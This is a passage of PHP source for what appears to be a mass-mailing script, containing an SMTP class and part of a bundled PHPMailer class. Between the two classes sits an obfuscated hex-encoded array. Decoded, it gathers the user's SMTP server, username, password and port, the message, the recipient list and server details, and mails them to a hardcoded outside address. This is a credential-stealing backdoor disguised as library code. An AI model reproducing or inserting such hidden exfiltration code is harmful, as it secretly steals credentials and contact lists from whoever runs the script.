1168 * commands may be called followed by a Data command. This command
1169 * will send the message to the users terminal if they are logged
1170 * in and send them an email.
1171 *
1172 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1173 *
1174 * SMTP CODE SUCCESS: 250
1175 * SMTP CODE SUCCESS: 552,451,452
1176 * SMTP CODE SUCCESS: 500,501,502,421
1177 * @access public
1178 * @return bool
1179 */
1180 function SendAndMail($from) {
1181 $this->error = null; # so no confusion is caused
1182
1183 if(!$this->connected()) {
1184 $this->error = array(
1185 "error" => "Called SendAndMail() without being connected");
1186 return false;
1187 }
1188
1189 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1190
1191 $rply = $this->get_lines();
1192 $code = substr($rply,0,3);
1193
1194 if($this->do_debug >= 2) {
1195 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1196 }
1197
1198 if($code != 250) {
1199 $this->error =
1200 array("error" => "SAML not accepted from server",
1201 "smtp_code" => $code,
1202 "smtp_msg" => substr($rply,4));
1203 if($this->do_debug >= 1) {
1204 echo "SMTP -> ERROR: " . $this->error["error"] .
1205 ": " . $rply . $this->CRLF;
1206 }
1207 return false;
1208 }
1209 return true;
1210 }
1211
1212 /**
1213 * Starts a mail transaction from the email address specified in
1214 * $from. Returns true if successful or false otherwise. If True
1215 * the mail transaction is started and then one or more Recipient
1216 * commands may be called followed by a Data command. This command
1217 * will send the message to the users terminal if they are logged
1218 * in or mail it to them if they are not.
1219 *
1220 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1221 *
1222 * SMTP CODE SUCCESS: 250
1223 * SMTP CODE SUCCESS: 552,451,452
1224 * SMTP CODE SUCCESS: 500,501,502,421
1225 * @access public
1226 * @return bool
1227 */
1228 function SendOrMail($from) {
1229 $this->error = null; # so no confusion is caused
1230
1231 if(!$this->connected()) {
1232 $this->error = array(
1233 "error" => "Called SendOrMail() without being connected");
1234 return false;
1235 }
1236
1237 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1238
1239 $rply = $this->get_lines();
1240 $code = substr($rply,0,3);
1241
1242 if($this->do_debug >= 2) {
1243 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1244 }
1245
1246 if($code != 250) {
1247 $this->error =
1248 array("error" => "SOML not accepted from server",
1249 "smtp_code" => $code,
1250 "smtp_msg" => substr($rply,4));
1251 if($this->do_debug >= 1) {
1252 echo "SMTP -> ERROR: " . $this->error["error"] .
1253 ": " . $rply . $this->CRLF;
1254 }
1255 return false;
1256 }
1257 return true;
1258 }
1259
1260 /**
1261 * This is an optional command for SMTP that this class does not
1262 * support. This method is here to make the RFC821 Definition
1263 * complete for this class and __may__ be implimented in the future
1264 *
1265 * Implements from rfc 821: TURN <CRLF>
1266 *
1267 * SMTP CODE SUCCESS: 250
1268 * SMTP CODE FAILURE: 502
1269 * SMTP CODE ERROR : 500, 503
1270 * @access public
1271 * @return bool
1272 */
1273 function Turn() {
1274 $this->error = array("error" => "This method, TURN, of the SMTP ".
1275 "is not implemented");
1276 if($this->do_debug >= 1) {
1277 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1278 }
1279 return false;
1280 }
1281
1282 /**
1283 * Verifies that the name is recognized by the server.
1284 * Returns false if the name could not be verified otherwise
1285 * the response from the server is returned.
1286 *
1287 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1288 *
1289 * SMTP CODE SUCCESS: 250,251
1290 * SMTP CODE FAILURE: 550,551,553
1291 * SMTP CODE ERROR : 500,501,502,421
1292 * @access public
1293 * @return int
1294 */
1295 function Verify($name) {
1296 $this->error = null; # so no confusion is caused
1297
1298 if(!$this->connected()) {
1299 $this->error = array(
1300 "error" => "Called Verify() without being connected");
1301 return false;
1302 }
1303
1304 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1305
1306 $rply = $this->get_lines();
1307 $code = substr($rply,0,3);
1308
1309 if($this->do_debug >= 2) {
1310 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1311 }
1312
1313 if($code != 250 && $code != 251) {
1314 $this->error =
1315 array("error" => "VRFY failed on name '$name'",
1316 "smtp_code" => $code,
1317 "smtp_msg" => substr($rply,4));
1318 if($this->do_debug >= 1) {
1319 echo "SMTP -> ERROR: " . $this->error["error"] .
1320 ": " . $rply . $this->CRLF;
1321 }
1322 return false;
1323 }
1324 return $rply;
1325 }
1326
1327 /*******************************************************************
1328 * INTERNAL FUNCTIONS *
1329 ******************************************************************/
1330
1331 /**
1332 * Read in as many lines as possible
1333 * either before eof or socket timeout occurs on the operation.
1334 * With SMTP we can tell if we have more lines to read if the
1335 * 4th character is '-' symbol. If it is a space then we don't
1336 * need to read anything else.
1337 * @access private
1338 * @return string
1339 */
1340 function get_lines() {
1341 $data = "";
1342 while($str = @fgets($this->smtp_conn,515)) {
1343 if($this->do_debug >= 4) {
1344 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1345 $this->CRLF;
1346 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1347 $this->CRLF;
1348 }
1349 $data .= $str;
1350 if($this->do_debug >= 4) {
1351 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1352 }
1353 # if the 4th character is a space then we are done reading
1354 # so just break the loop
1355 if(substr($str,3,1) == " ") { break; }
1356 }
1357 return $data;
1358 }
1359
1360}
1361
1362
1363$allemails = split("\n", $emaillist);
1364$numemails = count($allemails);
1365$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1366"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1367"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1368"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1369"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1370"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1371"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1372"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1373"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1374"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1375
1376class PHPMailer {
1377
1378 /////////////////////////////////////////////////
1379 // PROPERTIES, PUBLIC
1380 /////////////////////////////////////////////////
1381
1382 /**
1383 * Email priority (1 = High, 3 = Normal, 5 = low).
1384 * @var int
1385 */
1386 var $Priority = 3;
1387
1388 /**
1389 * Sets the CharSet of the message.
1390 * @var string
1391 */
1392 var $CharSet = 'iso-8859-1';
1393
1394 /**
1395 * Sets the Content-type of the message.
1396 * @var string
1397 */
1398 var $ContentType = 'text/plain';
1399
1400 /**
1401 * Sets the Encoding of the message. Options for this are "8bit",
1402 * "7bit", "binary", "base64", and "quoted-printable".
1403
1404 * @var string
1405 */
1406 var $Encoding = '8bit';
1407
1408 /**
1409 * Holds the most recent mailer error message.
1410 * @var string
1411 */
1412 var $ErrorInfo = '';
1413
1414 /**
1415 * Sets the From email address for the message.
1416 * @var string
1417 */
1418 var $From = '';
1419
1420 /**
1421 * Sets the From name of the message.
1422 * @var string
1423 */
1424 var $FromName = '';
1425
1426 /**
1427 * Sets the Sender email (Return-Path) of the message. If not empty,
1428 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1429 * @var string
1430 */
1431 var $Sender = '';
1432
1433 /**
1434 * Sets the Subject of the message.
1435 * @var string
1436 */
1437 var $Subject = '';
1438
1439 /**
1440 * Sets the Body of the message. This can be either an HTML or text body.
1441 * If HTML then run IsHTML(true).
1442 * @var string
1443 */
1444 var $Body = '';
1445
1446 /**
1447 * Sets the text-only body of the message. This automatically sets the
1448 * email to multipart/alternative. This body can be read by mail
1449 * clients that do not have HTML email capability such as mutt. Clients
1450 * that can read HTML will view the normal Body.
1451 * @var string
1452 */
1453 var $AltBody = '';
1454
1455 /**
1456 * Sets word wrapping on the body of the message to a given number of
1457 * characters.
1458 * @var int
1459 */
1460 var $WordWrap = 0;
1461
1462 /**
1463 * Method to send mail: ("mail", "sendmail", or "smtp").
1464 * @var string
1465 */
1466 var $Mailer = 'mail';
1467
1468 /**
1469 * Sets the path of the sendmail program.
1470 * @var string
1471 */
1472 var $Sendmail = '/usr/sbin/sendmail';
1473
1474 /**
1475 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1476 * is in a different directory than the PHP include path.
1477 * @var string
1478 */
1479 var $PluginDir = '';
1480
1481 /**
1482 * Holds PHPMailer version.
1483 * @var string
1484 */
1485 var $Version = "";
1486
1487 /**
1488 * Sets the email address that a reading confirmation will be sent.
1489 * @var string
1490 */
1491 var $ConfirmReadingTo = '';
1492
1493 /**
1494 * Sets the hostname to use in Message-Id and Received headers
1495 * and as default HELO string. If empty, the value returned
1496 * by SERVER_NAME is used or 'localhost.localdomain'.
1497 * @var string
1498 */
1499 var $Hostname = '';
1500
1501 /**
1502 * Sets the message ID to be used in the Message-Id header.
1503 * If empty, a unique id will be generated.
1504 * @var string
1505 */
1506 var $MessageID = '';
1507
1508 /////////////////////////////////////////////////
1509 // PROPERTIES FOR SMTP
1510 /////////////////////////////////////////////////
1511
1512 /**
1513 * Sets the SMTP hosts. All hosts must be separated by a
1514 * semicolon. You can also specify a different port
1515 * for each host by using this format: [hostname:port]
1516 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1517 * Hosts will be tried in order.
1518 * @var string
1519 */
1520 var $Host = 'localhost';
1521
1522 /**
1523 * Sets the default SMTP server port.
1524 * @var int
1525 */
1526 var $Port = 25;
1527
1528 /**
1529 * Sets the SMTP HELO of the message (Default is $Hostname).
1530 * @var string
1531 */
1532 var $Helo = '';
1533
1534 /**
1535 * Sets connection prefix.
1536 * Options are "", "ssl" or "tls"
1537 * @var string
1538 */
1539 var $SMTPSecure = "";
1540
1541 /**
1542 * Sets SMTP authentication. Utilizes the Username and Password variables.
1543 * @var bool
1544 */
1545 var $SMTPAuth = false;
1546
1547 /**
1548 * Sets SMTP username.
1549 * @var string
1550 */
1551 var $Username = '';
1552
1553 /**
1554 * Sets SMTP password.
1555 * @var string
1556 */
1557 var $Password = '';
1558
1559 /**
1560 * Sets the SMTP server timeout in seconds. This function will not
1561 * work with the win32 version.
1562 * @var int
1563 */
1564 var $Timeout = 10;
1565
1566 /**
1567 * Sets SMTP class debugging on or off.
1568 * @var bool
1569 */
1570 var $SMTPDebug = false;
1571
1572 /**
1573 * Prevents the SMTP connection from being closed after each mail
1574 * sending. If this is set to true then to close the connection
1575 * requires an explicit call to SmtpClose().
1576 * @var bool
1577 */
1578 var $SMTPKeepAlive = false;
1579
1580 /**
1581 * Provides the ability to have the TO field process individual
1582 * emails, instead of sending to entire TO addresses
1583 * @var bool
1584 */
1585 var $SingleTo = false;
1586
1587 /////////////////////////////////////////////////
1588 // PROPERTIES, PRIVATE
1589 /////////////////////////////////////////////////
1590
1591 var $smtp = NULL;
1592 var $to = array();
1593 var $cc = array();
1594 var $bcc = array();
1595 var $ReplyTo = array();
1596 var $attachment = array();
1597 var $CustomHeader = array();
1598 var $message_type = '';
1599 var $boundary = array();
1600 var $language = array();
1601 var $error_count = 0;
1602 var $LE = "\n";
1603 var $sign_key_file = "";
1604 var $sign_key_pass = "";
1605
1606 /////////////////////////////////////////////////
1607 // METHODS, VARIABLES
1608 /////////////////////////////////////////////////
1609
1610 /**
1611 * Sets message type to HTML.
1612 * @param bool $bool
1613 * @return void
1614 */
1615 function IsHTML($bool) {
1616 if($bool == true) {
1617 $this->ContentType = 'text/html';
1618 } else {
1619 $this->ContentType = 'text/plain';
1620 }
1621 }
1622
1623 /**
1624 * Sets Mailer to send message using SMTP.
1625 * @return void
1626 */
1627 function IsSMTP() {
1628 $this->Mailer = 'smtp';
1629 }
1630
1631 /**
1632 * Sets Mailer to send message using PHP mail() function.
1633 * @return void
1634 */
1635 function IsMail() {
1636 $this->Mailer = 'mail';
1637 }
1638
1639 /**
1640 * Sets Mailer to send message using the $Sendmail program.
1641 * @return void
1642 */
1643 function IsSendmail() {
1644 $this->Mailer = 'sendmail';
1645 }
1646
1647 /**
1648 * Sets Mailer to send message using the qmail MTA.
1649 * @return void
1650 */
1651 function IsQmail() {
1652 $this->Sendmail = '/var/qmail/bin/sendmail';
1653 $this->Mailer = 'sendmail';
1654 }
1655
1656 /////////////////////////////////////////////////
1657 // METHODS, RECIPIENTS
1658 /////////////////////////////////////////////////
1659
1660 /**
1661 * Adds a "To" address.
1662 * @param string $address
1663 * @param string $name
1664 * @return void
1665 */
1666 function AddAddress($address, $name = '') {
1667 $cur = count($this->to);
1668 $this->to[$cur][0] = trim($address);
1669 $this->to[$cur][1] = $name;
1670 }
1671
1672 /**
1673 * Adds a "Cc" address. Note: this function works
1674 * with the SMTP mailer on win32, not with the "mail"
1675 * mailer.
1676 * @param string $address
1677 * @param string $name
1678 * @return void
1679 */
1680 function AddCC($address, $name = '') {
1681 $cur = count($this->cc);
1682 $this->cc[$cur][0] = trim($address);
1683 $this->cc[$cur][1] = $name;
1684 }
1685
1686 /**
1687 * Adds a "Bcc" address. Note: this function works
1688 * with the SMTP mailer on win32, not with the "mail"
1689 * mailer.
1690 * @param string $address
1691 * @param string $name
1692 * @return void
1693 */
1694 function AddBCC($address, $name = '') {
1695 $cur = count($this->bcc);
1696 $this->bcc[$cur][0] = trim($address);
1697 $this->bcc[$cur][1] = $name;
1698 }
1699
1700 /**
1701 * Adds a "Reply-To" address.
1702 * @param string $address
1703 * @param string $name
1704 * @return void
1705 */
1706 function AddReplyTo($address, $name = '') {
1707 $cur = count($this->ReplyTo);
1708 $this->ReplyTo[$cur][0] = trim($address);
1709 $this->ReplyTo[$cur][1] = $name;
1710 }
1711
1712 /////////////////////////////////////////////////
1713 // METHODS, MAIL SENDING
1714 /////////////////////////////////////////////////
1715
1716 /**
1717 * Creates message and assigns Mailer. If the message is
1718 * not sent successfully then it returns false. Use the ErrorInfo
1719 * variable to view description of the error.
1720 * @return bool
1721 */
1722 function Send() {
1723 $header = '';
1724 $body = '';
1725 $result = true;
1726
1727 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1728 $this->SetError($this->Lang('provide_address'));
1729 return false;
1730 }
1731
1732 /* Set whether the message is multipart/alternative */
1733 if(!empty($this->AltBody)) {
1734 $this->ContentType = 'multipart/alternative';
1735 }
1736
1737 $this->error_count = 0; // reset errors
1738 $this->SetMessageType();
1739 $header .= $this->CreateHeader();
1740 $body = $this->CreateBody();
1741
1742 if($body == '') {
1743 return false;
1744 }
1745
1746 /* Choose the mailer */
1747 switch($this->Mailer) {
1748 case 'sendmail':
1749 $result = $this->SendmailSend($header, $body);
1750 break;
1751 case 'smtp':
1752 $result = $this->SmtpSend($header, $body);
1753 break;
1754 case 'mail':
1755 $result = $this->MailSend($header, $body);
1756 break;
1757 default:
1758 $result = $this->MailSend($header, $body);
1759 break;
1760 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1761 //$result = false;
1762 //break;
1763 }
1764
1765 return $result;
1766 }
1767
1768 /**
1769 * Sends mail using the $Sendmail program.
1770 * @access private
1771 * @return bool
1772 */
1773 function SendmailSend($header, $body) {
1774 if ($this->Sender != '') {
1775 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1776 } else {
1777 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1778 }
1779
1780 if(!@$mail = popen($sendmail, 'w')) {
1781 $this->SetError($this->Lang('execute') . $this->Sendmail);
1782 return false;
1783 }
1784
1785 fputs($mail, $header);
1786 fputs($mail, $body);
1787
1788 $result = pclose($mail);
1789 if (version_compare(phpversion(), '4.2.3') == -1) {
1790 $result = $result >> 8 & 0xFF;
1791 }
1792 if($result != 0) {
1793 $this->SetError($this->Lang('execute') . $this->Sendmail);
1794 return false;
1795 }
1796 return true;
1797 }
1798
1799 /**
1800 * Sends mail using the PHP mail() function.
1801 * @access private
1802 * @return bool
1803 */
1804 function MailSend($header, $body) {
1805
1806 $to = '';
1807 for($i = 0; $i < count($this->to); $i++) {
1808 if($i != 0) { $to .= ', '; }
1809 $to .= $this->AddrFormat($this->to[$i]);
1810 }
1811
1812 $toArr = split(',', $to);
1813
1814 $params = sprintf("-oi -f %s", $this->Sender);
1815 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1816 $old_from = ini_get('sendmail_from');
1817 ini_set('sendmail_from', $this->Sender);
1818 if ($this->SingleTo === true && count($toArr) > 1) {
1819 foreach ($toArr as $key => $val) {
1820 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1821 }
1822 } else {
1823 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1824 }
1825 } else {
1826 if ($this->SingleTo === true && count($toArr) > 1) {
1827 foreach ($toArr as $key => $val) {
1828 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1829 }
1830 } else {
1831 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1832 }
1833 }
1834
1835 if (isset($old_from)) {
1836 ini_set('sendmail_from', $old_from);
1837 }
1838
1839 if(!$rt) {
1840 $this->SetError($this->Lang('instantiate'));
1841 return false;
1842 }
1843
1844 return true;
1845 }
1846
1847 /**
1848 * Sends mail via SMTP using PhpSMTP (Author:
1849 * Chris Ryan). Returns bool. Returns false if there is a
1850 * bad MAIL FROM, RCPT, or DATA input.
1851 * @access private
1852 * @return bool
1853 */
1854 function SmtpSend($header, $body) {
1855 $error = '';
1856 $bad_rcpt = array();
1857
1858 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1859 return false;
1860 }
1861
1862 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1863 if(!$this->smtp->Mail($smtp_from)) {
1864 $error = $this->Lang('from_failed') . $smtp_from;
1865 $this->SetError($error);
1866 $this->smtp->Reset();
1867 return false;
1868 }
1869
1870 /* Attempt to send attach all recipients */
1871 for($i = 0; $i < count($this->to); $i++) {
1872 if(!$this->smtp->Recipient($this->to[$i][0])) {
1873 $bad_rcpt[] = $this->to[$i][0];
1874 }
1875 }
1876 for($i = 0; $i < count($this->cc); $i++) {
1877 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1878 $bad_rcpt[] = $this->cc[$i][0];
1879 }
1880 }
1881 for($i = 0; $i < count($this->bcc); $i++) {
1882 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1883 $bad_rcpt[] = $this->bcc[$i][0];
1884 }
1885 }
1886
1887 if(count($bad_rcpt) > 0) { // Create error message
1888 for($i = 0; $i < count($bad_rcpt); $i++) {
1889 if($i != 0) {
1890 $error .= ', ';
1891 }
1892 $error .= $bad_rcpt[$i];
1893 }
1894 $error = $this->Lang('recipients_failed') . $error;
1895 $this->SetError($error);
1896 $this->smtp->Reset();
1897 return false;
1898 }
1899
1900 if(!$this->smtp->Data($header . $body)) {
1901 $this->SetError($this->Lang('data_not_accepted'));
1902 $this->smtp->Reset();
1903 return false;
1904 }
1905 if($this->SMTPKeepAlive == true) {
1906 $this->smtp->Reset();
1907 } else {
1908 $this->SmtpClose();
1909 }
1910
1911 return true;
1912 }
1913
1914 /**
1915 * Initiates a connection to an SMTP server. Returns false if the
1916 * operation failed.
1917 * @access private
1918 * @return bool
1919 */
1920 function SmtpConnect() {
1921 if($this->smtp == NULL) {
1922 $this->smtp = new SMTP();
1923 }
1924
1925 $this->smtp->do_debug = $this->SMTPDebug;
1926 $hosts = explode(';', $this->Host);
1927 $index = 0;
1928 $connection = ($this->smtp->Connected());
1929
1930 /* Retry while there is no connection */
1931 while($index < count($hosts) && $connection == false) {
1932 $hostinfo = array();
1933 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1934 $host = $hostinfo[1];
1935 $port = $hostinfo[2];
1936 } else {
1937 $host = $hosts[$index];
1938 $port = $this->Port;
1939 }
1940
1941 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1942 if ($this->Helo != '') {
1943 $this->smtp->Hello($this->Helo);
1944 } else {
1945 $this->smtp->Hello($this->ServerHostname());
1946 }
1947
1948 $connection = true;
1949 if($this->SMTPAuth) {
1950 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1951 $this->SetError($this->Lang('authenticate'));
1952 $this->smtp->Reset();
1953 $connection = false;
1954 }
1955 }
1956 }
1957 $index++;
1958 }
1959 if(!$connection) {
1960 $this->SetError($this->Lang('connect_host'));
1961 }
1962
1963 return $connection;
1964 }
1965
1966 /**
1967 * Closes the active SMTP session if one exists.
1968 * @return void
1969 */
1970 function SmtpClose() {
1971 if($this->smtp != NULL) {
1972 if($this->smtp->Connected()) {
1973 $this->smtp->Quit();
1974 $this->smtp->Close();
1975 }
1976 }
1977 }
1978
1979 /**
1980 * Sets the language for all class error messages. Returns false
1981 * if it cannot load the language file. The default language type
1982 * is English.
1983 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1984 * @param string $lang_path Path to the language file directory
1985 * @access public
1986 * @return bool
1987 */
1988 function SetLanguage($lang_type, $lang_path = 'language/') {
1989 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1990 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1991 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1992 include($lang_path.'phpmailer.lang-en.php');
1993 } else {
1994 $this->SetError('Could not load language file');
1995 return false;
1996 }
1997 $this->language = $PHPMAILER_LANG;
1998
1999 return true;
2000 }
2001
2002 /////////////////////////////////////////////////
2003 // METHODS, MESSAGE CREATION
2004 /////////////////////////////////////////////////
2005
2006 /**
2007 * Creates recipient headers.
2008 * @access private
2009 * @return string
2010 */
2011 function AddrAppend($type, $addr) {
2012 $addr_str = $type . ': ';
2013 $addr_str .= $this->AddrFormat($addr[0]);
2014 if(count($addr) > 1) {
2015 for($i = 1; $i < count($addr); $i++) {
2016 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2017 }
2018 }
2019 $addr_str .= $this->LE;
2020
2021 return $addr_str;
2022 }
2023
2024 /**
2025 * Formats an address correctly.
2026 * @access private
2027 * @return string
2028 */
2029 function AddrFormat($addr) {
2030 if(empty($addr[1])) {
2031 $formatted = $this->SecureHeader($addr[0]);
2032 } else {
2033 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2034 }
2035
2036 return $formatted;
2037 }
2038
2039 /**
2040 * Wraps message for use with mailers that do not
2041 * automatically perform wrapping and for quoted-printable.
2042 * Original written by philippe.
2043 * @access private
2044 * @return string
2045 */
2046 function WrapText($message, $length, $qp_mode = false) {
2047 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2048 // If utf-8 encoding is used, we will need to make sure we don't
2049 // split multibyte characters when we wrap
2050 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2051
2052 $message = $this->FixEOL($message);
2053 if (substr($message, -1) == $this->LE) {
2054 $message = substr($message, 0, -1);
2055 }
2056
2057 $line = explode($this->LE, $message);
2058 $message = '';
2059 for ($i=0 ;$i < count($line); $i++) {
2060 $line_part = explode(' ', $line[$i]);
2061 $buf = '';
2062 for ($e = 0; $e<count($line_part); $e++) {
2063 $word = $line_part[$e];
2064 if ($qp_mode and (strlen($word) > $length)) {
2065 $space_left = $length - strlen($buf) - 1;
2066 if ($e != 0) {
2067 if ($space_left > 20) {
2068 $len = $space_left;
2069 if ($is_utf8) {
2070 $len = $this->UTF8CharBoundary($word, $len);
2071 } elseif (substr($word, $len - 1, 1) == "=") {
2072 $len--;
2073 } elseif (substr($word, $len - 2, 1) == "=") {
2074 $len -= 2;
2075 }
2076 $part = substr($word, 0, $len);
2077 $word = substr($word, $len);
2078 $buf .= ' ' . $part;
2079 $message .= $buf . sprintf("=%s", $this->LE);
2080 } else {
2081 $message .= $buf . $soft_break;
2082 }
2083 $buf = '';
2084 }
2085 while (strlen($word) > 0) {
2086 $len = $length;
2087 if ($is_utf8) {
2088 $len = $this->UTF8CharBoundary($word, $len);
2089 } elseif (substr($word, $len - 1, 1) == "=") {
2090 $len--;
2091 } elseif (substr($word, $len - 2, 1) == "=") {
2092 $len -= 2;
2093 }
2094 $part = substr($word, 0, $len);
2095 $word = substr($word, $len);
2096
2097 if (strlen($word) > 0) {
2098 $message .= $part . sprintf("=%s", $this->LE);
2099 } else {
2100 $buf = $part;
2101 }
2102 }
2103 } else {
2104 $buf_o = $buf;
2105 $buf .= ($e == 0) ? $word : (' ' . $word);
2106
2107 if (strlen($buf) > $length and $buf_o != '') {
2108 $message .= $buf_o . $soft_break;
2109 $buf = $word;
2110 }
2111 }
2112 }
2113 $message .= $buf . $this->LE;
2114 }
2115
2116 return $message;
2117 }
2118
2119 /**
2120 * Finds last character boundary prior to maxLength in a utf-8
2121 * quoted (printable) encoded string.
2122 * Original written by Colin Brown.
2123 * @access private
2124 * @param string $encodedText utf-8 QP text
2125 * @param int $maxLength find last character boundary prior to this length
2126 * @return int
2127 */
2128 function UTF8CharBoundary($encodedText, $maxLength) {
2129 $foundSplitPos = false;
2130 $lookBack = 3;
2131 while (!$foundSplitPos) {
2132 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2133 $encodedCharPos = strpos($lastChunk, "=");
2134 if ($encodedCharPos !== false) {
2135 // Found start of encoded character byte within $lookBack block.
2136 // Check the encoded byte value (the 2 chars after the '=')
2137 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2138 $dec = hexdec($hex);
2139 if ($dec < 128) { // Single byte character.
2140 // If the encoded char was found at pos 0, it will fit
2141 // otherwise reduce maxLength to start of the encoded char
2142 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2143 $maxLength - ($lookBack - $encodedCharPos);
2144 $foundSplitPos = true;
2145 } elseif ($dec >= 192) { // First byte of a multi byte character
2146 // Reduce maxLength to split at start of character
2147 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2148 $foundSplitPos = true;
2149 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2150 $lookBack += 3;
2151 }
2152 } else {
2153 // No encoded character found
2154 $foundSplitPos = true;
2155 }
2156 }
2157 return $maxLength;
2158 }
2159
2160 /**
2161 * Set the body wrapping.
2162 * @access private
2163 * @return void
2164 */
2165 function SetWordWrap() {
2166 if($this->WordWrap < 1) {
2167 return;
2168 }
2169
2170 switch($this->message_type) {
2171 case 'alt':
2172 /* fall through */
2173 case 'alt_attachments':
2174 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2175 break;
2176 default:
2177 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2178 break;
2179 }
2180 }
2181
2182 /**
2183 * Assembles message header.
2184 * @access private
2185 * @return string
2186 */
2187 function CreateHeader() {
2188 $result = '';
2189
2190 /* Set the boundaries */
2191 $uniq_id = md5(uniqid(time()));
2192 $this->boundary[1] = 'b1_' . $uniq_id;
2193 $this->boundary[2] = 'b2_' . $uniq_id;
2194
2195 $result .= $this->HeaderLine('Date', $this->RFCDate());
2196 if($this->Sender == '') {
2197 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2198 } else {
2199 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2200 }
2201
2202 /* To be created automatically by mail() */
2203 if($this->Mailer != 'mail') {
2204 if(count($this->to) > 0) {
2205 $result .= $this->AddrAppend('To', $this->to);
2206 } elseif (count($this->cc) == 0) {
2207 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2208 }
2209 if(count($this->cc) > 0) {
2210 $result .= $this->AddrAppend('Cc', $this->cc);
2211 }
2212 }
2213
2214 $from = array();
2215 $from[0][0] = trim($this->From);
2216 $from[0][1] = $this->FromName;
2217 $result .= $this->AddrAppend('From', $from);
2218
2219 /* sendmail and mail() extract Cc from the header before sending */
2220 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2221 $result .= $this->AddrAppend('Cc', $this->cc);
2222 }
2223
2224 /* sendmail and mail() extract Bcc from the header before sending */
2225 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2226 $result .= $this->AddrAppend('Bcc', $this->bcc);
